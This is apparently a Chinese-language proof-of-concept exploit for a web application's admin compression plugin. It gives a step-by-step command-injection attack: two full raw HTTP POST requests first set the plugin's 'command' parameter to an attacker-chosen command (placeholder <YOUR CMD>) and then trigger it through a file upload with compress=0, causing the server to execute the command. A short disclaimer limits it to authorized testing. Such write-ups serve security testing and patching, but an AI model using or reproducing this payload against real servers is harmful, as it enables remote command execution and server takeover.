通过修改压缩插件命令，攻击者可以在上传过程中导致服务器执行任意命令。
仅用于授权的安全测试，请勿用于非法目的。违规行为与作者无关。
登录后台，点击功能：管理 -> 插件 -> 压缩
添加新的“command”指令并保存：
POST /index.php HTTP/1.1
Host: www.test.com
Content-Length: 183
Cache-Control: max-age=0
Sec-Ch-Ua: "Not.A/Brand";v="8", "Chromium";v="114", "Google Chrome";v="114"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
action=adminpluginsoptions&step=4&id=compress&gid=admins&command=<YOUR CMD>&extension=&compression=
进入“文件上传”功能，上传一个随机文件，并确保参数中包含"compress=0"。
POST /index.php HTTP/1.1
Host: www.test.com
Content-Length: 53
Cache-Control: max-age=0
Sec-Ch-Ua: "Not.A/Brand";v="8", "Chromium";v="114", "Google Chrome";v="114"
Sec-Ch-Ua-Mobile: ?0
Sec-Ch-Ua-Platform: "Windows"
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
action=u&step=3&description=123&emailme=no&compress=0
我们写入的命令将正常执行。